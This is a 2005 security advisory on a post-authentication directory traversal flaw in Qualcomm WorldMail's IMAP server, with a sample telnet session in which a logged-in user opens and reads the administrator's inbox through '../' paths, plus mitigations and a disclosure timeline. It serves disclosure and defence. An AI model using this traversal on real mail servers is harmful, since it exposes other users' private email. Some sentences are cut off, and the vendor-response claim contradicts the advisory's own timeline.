Public Vulnerability Reports

Qualcomm WorldMail IMAP Server Directory Traversal Vulnerability



Qualcomm WorldMail is an email and messaging server designed for use
in small to large enterprises that supports IMAP, POP3, SMTP, and web
mail features.

More information can be found on the vendors site:


Remote exploitation of a directory transversal vulnerability in Qualcomm
WorldMail IMAP Server allows attackers to read any email stored on the

The IMAP protocol supports the use of multiple folders and contains
commands with allow users to specify specific paths. Qualcomm WorldMail
server allows multiple commands to specify folders outside of the
current user's mailbox.

Attackers can leverage this vulnerability to view and manage any other
user's email messages stored on the system. Attackers also have the
ability to move any arbitrary folder on the system.

Exploitation is trivial and can be done with a simple telnet client.
Below is an example transaction highlighting the attack:

c:> telnet 143

* OK WorldMail IMAP4 Server ready
1 login user1 user1
1 OK LOGIN completed

2 select /inbox
2 OK [READ-WRITE] opened /inbox

2 select ./../../administrator/inbox
* OK [UNSEEN 1] Message 1 is first unseen
2 OK [READ-WRITE] opened ./../../administrator/inbox

2 fetch 1 (RFC822.TEXT)
* 1 FETCH (RFC822.TEXT {131}

this message was sent to administrator


Successful exploitation of this vulnerability allows attackers to view
and delete mail from any user on the system. Attackers may also be able
to affect system stability with the ability to move arbitrary folders on
the affected system.

This is a post authentication exploit. In order to exploit this
vulnerability an attacker would need a valid login to the email server
and the IMAP module would have to be enabled (default).


This exploit was tested against Qualcomm Worldmail server version 3.0.
Other versions may be vulnerable.


As the affected commands cannot be disabled, it is important that only
trusted users be allowed to access the vulnerable mail server.
Exploitation of this vulnerability can only be done after a user is
authenticated to the mail server. Therefore, it is recommended that
login credentials be reviewed to ensure that only trusted users have

WorldMail also supports POP access to email. If disabling the IMAP
service completly is an option, this will also prevent exploitation of
the vulnerability.


Multiple attempts have been made to inform the vendor of this
vulnerability but to date a response has not yet been received.


The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-3189 to this issue. This is a candidate for inclusion in
the CVE list (, which standardizes names for
security problems.


10/12/2005   Initial vendor notification
10/27/2005   Initial vendor response
11/17/2005   Public disclosure


The vulnerability was discovered by FistFuXXer.

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Copyright © 2005 Verisign, Inc.

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